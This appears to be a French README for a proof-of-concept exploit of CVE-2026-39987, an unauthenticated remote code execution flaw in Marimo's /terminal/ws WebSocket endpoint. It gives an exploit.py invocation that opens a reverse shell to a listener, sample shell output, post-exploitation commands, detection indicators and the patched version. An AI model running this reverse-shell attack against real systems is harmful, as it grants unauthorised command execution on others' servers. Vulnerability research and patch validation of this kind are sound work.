
Exploit de preuve de concept pour la RCE pré-authentification de Marimo. Utilise le point de terminaison WebSocket non authentifié /terminal/ws pour créer un PTY et établir un reverse shell.
CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance (RCE) avant authentification affectant Marimo, un environnement de notebooks Python réactif.
La vulnérabilité se situe dans le point de terminaison WebSocket de terminal de Marimo :
/terminal/ws
Le point de terminaison n'appliquait pas correctement l'authentification avant de créer une session de terminal. Par conséquent, un attaquant distant non authentifié capable d'atteindre une instance Marimo vulnérable peut établir une connexion WebSocket et obtenir un shell PTY interactif.
Aucun identifiant valide n'est requis.
| Propriété | Valeur |
|---|---|
| CVE | CVE-2026-39987 |
| Produit | Marimo |
| Vulnérabilité | Exécution de code à distance avant authentification |
| Vecteur d'attaque | Réseau |
| Authentification | Non requise |
| Interaction utilisateur | Non requise |
| CWE | CWE-306 — Authentification manquante pour une fonction critique |
| Sévérité | Critique |
| Version corrigée | 0.23.0 |
La vulnérabilité a été causée par une application incohérente de l'authentification entre les points de terminaison WebSocket de Marimo.
Alors que les autres fonctionnalités WebSocket effectuent une validation de l'authentification, le point de terminaison vulnérable /terminal/ws pouvait accepter une connexion sans valider au préalable l'appelant.
Le point de terminaison de terminal vulnérable crée un PTY interactif après avoir accepté une connexion WebSocket.
Conceptuellement, le flux de requête vulnérable est le suivant :
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
La frontière de sécurité importante est le contrôle d'authentification manquant.
Un point de terminaison exposant l'exécution arbitraire de commandes ne doit pas permettre à un client non authentifié d'atteindre la logique de création du PTY.
Une exploitation réussie peut fournir l'exécution arbitraire de commandes avec les privilèges du processus Marimo.
Selon la configuration de déploiement, cela peut permettre à un attaquant de :
L'impact est particulièrement significatif pour les environnements de notebooks car ils ont généralement accès à des ensembles de données, des API, des identifiants, des ressources cloud et une infrastructure de développement.
Avertissement : Exécutez la PoC uniquement contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester.
Ce dépôt contient une PoC pour démontrer la vulnérabilité dans un environnement contrôlé.
L'exemple ci-dessous démontre l'exploitation contre une instance locale/de laboratoire.
Par exemple :
http://127.0.0.1:8081
L'instance Marimo vulnérable doit être en cours d'exécution avant de lancer la PoC.
Exemple :
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
Où :
-u Target Marimo instance
--host Listener IP
--port Listener port
La PoC établit la connexion de terminal vulnérable et attend la connexion shell qui en résulte.
Exemple de sortie :
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
Après une exploitation réussie, l'attaquant reçoit un shell s'exécutant avec les privilèges du processus Marimo.
whoami
Exemple :
marimo
id
Exemple :
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
Cela démontre que des commandes arbitraires sont exécutées à distance sous le compte marimo.
La PoC peut également démontrer l'accès au système de fichiers disponible pour le processus compromis.
ls -la
Exemple :
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
En se déplaçant à la racine du système de fichiers :
cd /
ls
Exemple :
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
Cela confirme que le shell distant dispose d'un accès normal au système de fichiers, sous réserve des privilèges et des restrictions de conteneur du processus Marimo.
La chaîne de vulnérabilité complète peut être résumée comme suit :
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
La défaillance de sécurité critique se produit à l'étape 3.
Les indicateurs potentiels d'exploitation incluent des connexions WebSocket inattendues vers :
/terminal/ws
et une activité de processus inhabituelle provenant du serveur Marimo.
Les défenseurs devraient examiner :
Mettez à niveau Marimo vers une version corrigée :
0.23.0 or later
De plus :
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
Ce projet est fourni à des fins de recherche en sécurité, de validation de vulnérabilités et d'éducation. N'utilisez pas la PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.